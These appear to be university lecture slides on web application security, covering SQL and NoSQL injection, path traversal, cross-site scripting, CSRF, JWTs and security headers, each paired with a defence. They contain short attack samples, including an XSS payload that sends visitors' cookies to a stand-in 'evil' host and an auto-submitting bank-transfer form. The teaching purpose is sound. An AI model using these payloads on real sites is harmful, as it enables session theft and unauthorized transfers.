Internet Engineering
11
Introduction · Injection · Cross-Site Scripting · Cross-Site Request Forgery · Authentication & Authorization · Transport & Headers
Fall 2026 ·
Amirkabir University of Technology
@1995parham
Never mix data with code.
Consider a login handler that builds its query by concatenation:
query := "SELECT id FROM users WHERE name = '" + name + "'"
What happens when name is
' OR '1'='1?
SELECT id FROM users WHERE name = '' OR '1'='1'
row := db.QueryRow("SELECT id FROM users WHERE name = $1", name)
sh -c). Pass an argument vector instead of
a string{"password": {"$ne": null}}../../etc/passwdThe same bug, but the interpreter is the browser and the injected code is JavaScript.
// a comment box that renders whatever was posted
element.innerHTML = "<p>" + comment + "</p>";
A comment of
<img src=x onerror="fetch('//evil/'+document.cookie)">
now runs in every visitor's session.
location.hash into the pageinnerHTML and
dangerouslySetInnerHTML opt out of ittextContent is safe by construction, it
cannot create elements
element.textContent = comment; // never parsed as html
Content-Security-Policy: tell the browser
which sources may execute, so an injected inline script is refusedHttpOnly cookies: unreadable from
JavaScript, so a stolen DOM does not hand over the session
Content-Security-Policy: default-src 'self'
<form action="https://bank.example/transfer" method="POST">
<input name="to" value="attacker" />
<input name="amount" value="1000000" />
</form>
<script>document.forms[0].submit()</script>
GET must never change state, a rule from the
HTTP lecture that turns out to be a security rule tooLax is the modern browser defaultStrict for anything sensitiveAuthorization header are not attached
automatically, so they are not vulnerable to this
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
header.payload.signature # three base64url parts, separated by dots
id_token: a JWT describing the userStrict-Transport-Security tells the
browser never to try plain HTTP again
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: which sources
may load and executeX-Content-Type-Options: nosniff: stop the
browser guessing a type you did not declareX-Frame-Options /
frame-ancestors: refuse to be framed, so
your UI cannot be overlaid and clicked throughReferrer-Policy: stop leaking full URLs
to third parties
